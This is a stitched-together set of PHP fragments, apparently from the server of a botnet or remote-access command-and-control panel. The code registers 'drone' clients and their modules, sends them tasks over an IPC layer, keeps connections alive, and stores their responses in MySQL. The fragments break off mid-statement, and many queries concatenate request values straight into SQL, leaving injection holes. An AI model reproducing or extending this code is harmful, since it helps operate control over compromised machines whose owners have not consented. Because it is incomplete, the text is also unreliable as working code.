public static function ConnectDrone() { self::$_requestStatus = HYP_IPC::task_send(self::$_tid, self::$_result, self::$_mid, self::$_data); $query = 'update ' . self::$_mysql_ini['prefix'] . 'online_task set status = ' . self::$_requestStatus . ' where tid=\'' . self::$_tid . '\' and status=-9 limit ' . self::$_drones_num; if (!self::$_db->query($query)) { return false; } return true; }
$query .= "({$clientId},'{$a}','{$flag}'),"; } $query = substr($query, 0, -1); $db->query($query); $query = 'insert into ' . $mysql_ini['prefix'] . 'online_module values '; foreach ($module as $a) { $a = strtoupper($a); $query .= "({$clientId},'{$a}'),"; } $query = substr($query, 0, -1); $db->query($query); $db->close(); $hexCID = pack("V", $clientId); repond_breath(0, $hexCID, false); include "{$IPC_mod_path}" . 'IPC_' . HYP_IPC_MODE . '.php'; HYP_IPC::KeepAlive(); exit; function mylog($str) { $fp = fopen('./abort.txt', 'a'); $str = date('Y-m-d H:i:s') . " { {$str} } " . "\r\n"; fwrite($fp, $str); fclose($fp); } function repond_breath($cmd, $src = "", $die = true) { $len = strlen($src); $out = pack("Cx15CCx31CV", 1, 255, $cmd, 255, $len); echo "" . "{$out}" . "{$src}"; ob_flush(); flush();
} elseif ($data and -9 == $requestStatus) { if (HYP_IPC_MODE === "mysql") { $query = 'insert into ' . $mysql_ini['prefix'] . 'data_request values (?,?)'; $stmt = $db->prepare($query); $stmt->bind_param('ss', $TaskId, $data); if (!$stmt->execute()) { $lasterror[] = $language['fail_insert_reqdata']; } } } $stmt->close(); } if (!$lasterror) { include "{$IPC_mod_path}" . 'IPC_' . HYP_IPC_MODE . '.php'; $cid["{$clientId}" . '_' . "{$moduleId}"]['cid'] = $clientId; $requestStatus = HYP_IPC::task_send($TaskId, $cid, $moduleId, $data); $query = 'update ' . $mysql_ini['prefix'] . 'online_task set status = ' . $requestStatus . ' where tid=\'' . $TaskId . '\' and status=-9 limit 1'; if ($db->query($query)) { $requestStatus = 0; } else { $lasterror[] = $language['request_status_-9']; } } } set_time_limit(0); ignore_user_abort(true); define("STREAM_TASK_END_OVERTIME", 51); define("STREAM_TASK_END_BROWSERBROKE", 52); define("STREAM_TASK_END_COMPLISHED", 53); define("STREAM_TASK_END_UNKNOWN", 54); define("STREAM_TASK_END_READFILE", 55);
if ($stream_size and 0 == $result['size']) { //以控制端请求长度为准 $query .= ',size= ' . $stream_size; } $query .= ' where tid=\'' . $tid . '\' and cid=' . $cid . ' limit 1'; $db->query($query); $ret = 1; } } } } else { //normal if (1 == $result['status']) { $data = @file_get_contents('php://input'); $status = 2; $pipeOk = HYP_IPC::task_response($tid, $cid . ':' . $status . ':', $data); if (!$pipeOk) { if (strlen($data)) { $query = 'replace into ' . $mysql_ini['prefix'] . 'data_response values (?,?,?) '; $stmt = $db->prepare($query); $stmt->bind_param("sis", $tid, $cid, $data); if (!$stmt->execute()) { $status = -100; } $stmt->close(); } } $query = 'update ' . $mysql_ini['prefix'] . 'online_task set status = ' . $status . ' where tid=\'' . $tid . '\' and status=1 and cid=' . $cid . ' limit 1'; $db->query($query); mylog($query); if ('0001' . '0000000000000000000000000000' === $result['module']) {